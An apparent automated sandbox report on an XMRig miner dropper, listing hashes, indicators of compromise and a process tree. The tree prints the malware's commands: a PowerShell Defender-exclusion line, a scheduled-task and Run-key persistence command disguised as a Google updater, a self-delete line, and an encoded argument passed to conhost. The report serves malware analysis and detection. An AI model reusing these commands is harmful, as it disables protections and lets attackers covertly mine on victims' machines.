xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
1799s
max time network
1794s
platform
windows10-2004_x64
resource
win10v2004-20231222-en
resource tags

arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
submitted
24/01/2024, 17:15

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General

Target
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Size 2.0MB
Sample240124-vstf4aecaj
SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
MD5 a16a669a09bf158058b83e04e69fe38e
SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 3580 created 3476	3580	UMRsPGc4u9tycx9r.exe	53
PID 3580 created 3476	3580	UMRsPGc4u9tycx9r.exe	53
PID 3580 created 3476	3580	UMRsPGc4u9tycx9r.exe	53
PID 3580 created 3476	3580	UMRsPGc4u9tycx9r.exe	53
PID 2204 created 3476	2204	updater.exe	53
PID 2204 created 3476	2204	updater.exe	53
PID 2204 created 3476	2204	updater.exe	53
PID 2204 created 3476	2204	updater.exe	53
PID 1700 created 3476	1700	conhost.exe	53
PID 2204 created 3476	2204	updater.exe	53

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral24/memory/1108-124-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	xmrig
behavioral24/memory/1108-128-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	xmrig
behavioral24/memory/1108-130-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	xmrig
behavioral24/memory/1108-131-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	xmrig
behavioral24/memory/1108-133-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	xmrig
behavioral24/memory/1108-137-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	xmrig
behavioral24/memory/1108-139-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	xmrig
behavioral24/memory/1108-141-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	xmrig
behavioral24/memory/1108-143-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	xmrig
behavioral24/memory/1108-145-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	xmrig
behavioral24/memory/1108-147-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	xmrig
behavioral24/memory/1108-149-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	xmrig
behavioral24/memory/1108-151-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	xmrig
behavioral24/memory/1108-153-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	xmrig
behavioral24/memory/1108-155-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	xmrig
behavioral24/memory/1108-157-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	xmrig
behavioral24/memory/1108-159-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	xmrig
behavioral24/memory/1108-161-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	xmrig
behavioral24/memory/1108-163-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	xmrig
behavioral24/memory/1108-165-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	xmrig
behavioral24/memory/1108-167-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	xmrig
behavioral24/memory/1108-169-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	xmrig
behavioral24/memory/1108-171-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	xmrig
behavioral24/memory/1108-173-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	xmrig
behavioral24/memory/1108-175-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	xmrig
behavioral24/memory/1108-177-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	xmrig
behavioral24/memory/1108-179-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	xmrig
behavioral24/memory/1108-181-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	xmrig
behavioral24/memory/1108-183-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	xmrig
behavioral24/memory/1108-185-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

pid	Process
2204	updater.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral24/memory/1108-121-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	upx
behavioral24/memory/1108-124-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	upx
behavioral24/memory/1108-128-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	upx
behavioral24/memory/1108-130-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	upx
behavioral24/memory/1108-131-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	upx
behavioral24/memory/1108-133-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	upx
behavioral24/memory/1108-137-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	upx
behavioral24/memory/1108-139-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	upx
behavioral24/memory/1108-141-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	upx
behavioral24/memory/1108-143-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	upx
behavioral24/memory/1108-145-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	upx
behavioral24/memory/1108-147-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	upx
behavioral24/memory/1108-149-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	upx
behavioral24/memory/1108-151-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	upx
behavioral24/memory/1108-153-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	upx
behavioral24/memory/1108-155-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	upx
behavioral24/memory/1108-157-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	upx
behavioral24/memory/1108-159-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	upx
behavioral24/memory/1108-161-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	upx
behavioral24/memory/1108-163-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	upx
behavioral24/memory/1108-165-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	upx
behavioral24/memory/1108-167-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	upx
behavioral24/memory/1108-169-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	upx
behavioral24/memory/1108-171-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	upx
behavioral24/memory/1108-173-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	upx
behavioral24/memory/1108-175-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	upx
behavioral24/memory/1108-177-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	upx
behavioral24/memory/1108-179-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	upx
behavioral24/memory/1108-181-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	upx
behavioral24/memory/1108-183-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	upx
behavioral24/memory/1108-185-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp	upx

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2204 set thread context of 1700	2204	updater.exe	118
PID 2204 set thread context of 1108	2204	updater.exe	113

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	UMRsPGc4u9tycx9r.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4208	WMIC.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

pid	Process
3580	UMRsPGc4u9tycx9r.exe
3580	UMRsPGc4u9tycx9r.exe
4496	powershell.exe
4496	powershell.exe
3580	UMRsPGc4u9tycx9r.exe
3580	UMRsPGc4u9tycx9r.exe
2892	powershell.exe
2892	powershell.exe
3580	UMRsPGc4u9tycx9r.exe
3580	UMRsPGc4u9tycx9r.exe
3580	UMRsPGc4u9tycx9r.exe
3580	UMRsPGc4u9tycx9r.exe
3408	powershell.exe
3408	powershell.exe
2204	updater.exe
2204	updater.exe
4436	powershell.exe
4436	powershell.exe
2204	updater.exe
2204	updater.exe
2860	powershell.exe
2860	powershell.exe
2204	updater.exe
2204	updater.exe
2204	updater.exe
2204	updater.exe
1700	conhost.exe
1700	conhost.exe
2204	updater.exe
2204	updater.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4496	powershell.exe
Token: SeDebugPrivilege	2892	powershell.exe
Token: SeIncreaseQuotaPrivilege	2892	powershell.exe
Token: SeSecurityPrivilege	2892	powershell.exe
Token: SeTakeOwnershipPrivilege	2892	powershell.exe
Token: SeLoadDriverPrivilege	2892	powershell.exe
Token: SeSystemProfilePrivilege	2892	powershell.exe
Token: SeSystemtimePrivilege	2892	powershell.exe
Token: SeProfSingleProcessPrivilege	2892	powershell.exe
Token: SeIncBasePriorityPrivilege	2892	powershell.exe
Token: SeCreatePagefilePrivilege	2892	powershell.exe
Token: SeBackupPrivilege	2892	powershell.exe
Token: SeRestorePrivilege	2892	powershell.exe
Token: SeShutdownPrivilege	2892	powershell.exe
Token: SeDebugPrivilege	2892	powershell.exe
Token: SeSystemEnvironmentPrivilege	2892	powershell.exe
Token: SeRemoteShutdownPrivilege	2892	powershell.exe
Token: SeUndockPrivilege	2892	powershell.exe
Token: SeManageVolumePrivilege	2892	powershell.exe
Token: 33	2892	powershell.exe
Token: 34	2892	powershell.exe
Token: 35	2892	powershell.exe
Token: 36	2892	powershell.exe
Token: SeIncreaseQuotaPrivilege	2892	powershell.exe
Token: SeSecurityPrivilege	2892	powershell.exe
Token: SeTakeOwnershipPrivilege	2892	powershell.exe
Token: SeLoadDriverPrivilege	2892	powershell.exe
Token: SeSystemProfilePrivilege	2892	powershell.exe
Token: SeSystemtimePrivilege	2892	powershell.exe
Token: SeProfSingleProcessPrivilege	2892	powershell.exe
Token: SeIncBasePriorityPrivilege	2892	powershell.exe
Token: SeCreatePagefilePrivilege	2892	powershell.exe
Token: SeBackupPrivilege	2892	powershell.exe
Token: SeRestorePrivilege	2892	powershell.exe
Token: SeShutdownPrivilege	2892	powershell.exe
Token: SeDebugPrivilege	2892	powershell.exe
Token: SeSystemEnvironmentPrivilege	2892	powershell.exe
Token: SeRemoteShutdownPrivilege	2892	powershell.exe
Token: SeUndockPrivilege	2892	powershell.exe
Token: SeManageVolumePrivilege	2892	powershell.exe
Token: 33	2892	powershell.exe
Token: 34	2892	powershell.exe
Token: 35	2892	powershell.exe
Token: 36	2892	powershell.exe
Token: SeIncreaseQuotaPrivilege	2892	powershell.exe
Token: SeSecurityPrivilege	2892	powershell.exe
Token: SeTakeOwnershipPrivilege	2892	powershell.exe
Token: SeLoadDriverPrivilege	2892	powershell.exe
Token: SeSystemProfilePrivilege	2892	powershell.exe
Token: SeSystemtimePrivilege	2892	powershell.exe
Token: SeProfSingleProcessPrivilege	2892	powershell.exe
Token: SeIncBasePriorityPrivilege	2892	powershell.exe
Token: SeCreatePagefilePrivilege	2892	powershell.exe
Token: SeBackupPrivilege	2892	powershell.exe
Token: SeRestorePrivilege	2892	powershell.exe
Token: SeShutdownPrivilege	2892	powershell.exe
Token: SeDebugPrivilege	2892	powershell.exe
Token: SeSystemEnvironmentPrivilege	2892	powershell.exe
Token: SeRemoteShutdownPrivilege	2892	powershell.exe
Token: SeUndockPrivilege	2892	powershell.exe
Token: SeManageVolumePrivilege	2892	powershell.exe
Token: 33	2892	powershell.exe
Token: 34	2892	powershell.exe
Token: 35	2892	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 964 wrote to memory of 2132	964	cmd.exe	100
PID 964 wrote to memory of 2132	964	cmd.exe	100
PID 3408 wrote to memory of 4504	3408	powershell.exe	105
PID 3408 wrote to memory of 4504	3408	powershell.exe	105
PID 2204 wrote to memory of 1700	2204	updater.exe	118
PID 4160 wrote to memory of 4208	4160	cmd.exe	114
PID 4160 wrote to memory of 4208	4160	cmd.exe	114
PID 2204 wrote to memory of 1108	2204	updater.exe	113

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3476
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UMRsPGc4u9tycx9r.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UMRsPGc4u9tycx9r.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:3580
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4496
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2892
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UMRsPGc4u9tycx9r.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:964
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3408
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:4504
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4436
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:2860
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  PID:1108
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:4584
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:4160
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:1700

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2132

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2204

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
PID:4208

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 45KB
SHA256 3f357cf848a3cdf074b799e09ba42abaa771122e95c316e890bbb52d84085e79
MD5 df4ad8fc9aaa8879c2da439311cfeb9f
SHA1 ab24781690d4297282caa60b99b99acac4318f3a
SHA512 f78427112fe6f49845ff145b9f122eb39474bc235b74a31be2707d8bc343d476007fc7507d59987e77c50b9bdd26f6d6b724d4c1627f035503b918a65a310eab
SSDEEP 768:w80qZz2da1pk/0RQj8inRh6UZLyj5pLauwYY94E6l+NZoK7FOl:L3zCarzIpyj5pLauwYY94E6w/o5
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 1.6MB
SHA256 2c9e215b2efcce843349563a775745f8e2ff5fc275ff6ce1000caec7bd9001a2
MD5 586bb0ae344b66dc0de39b482589979f
SHA1 d25365560d1dcca23719264c67d6913ec3307be9
SHA512 98d57e8bb10e76e82f6c33705e2ff6c4f7b7a52cf1e638a578c5cf7279f71db61749c9e3a89618dbef2503cc38ca2e2e8d02288073cf3ddfea1e2280006c350f
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAijM:rxAEcp9ueXit9WAQ0YWg
MD5 SHA1 SHA512 SSDEEP

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g.log

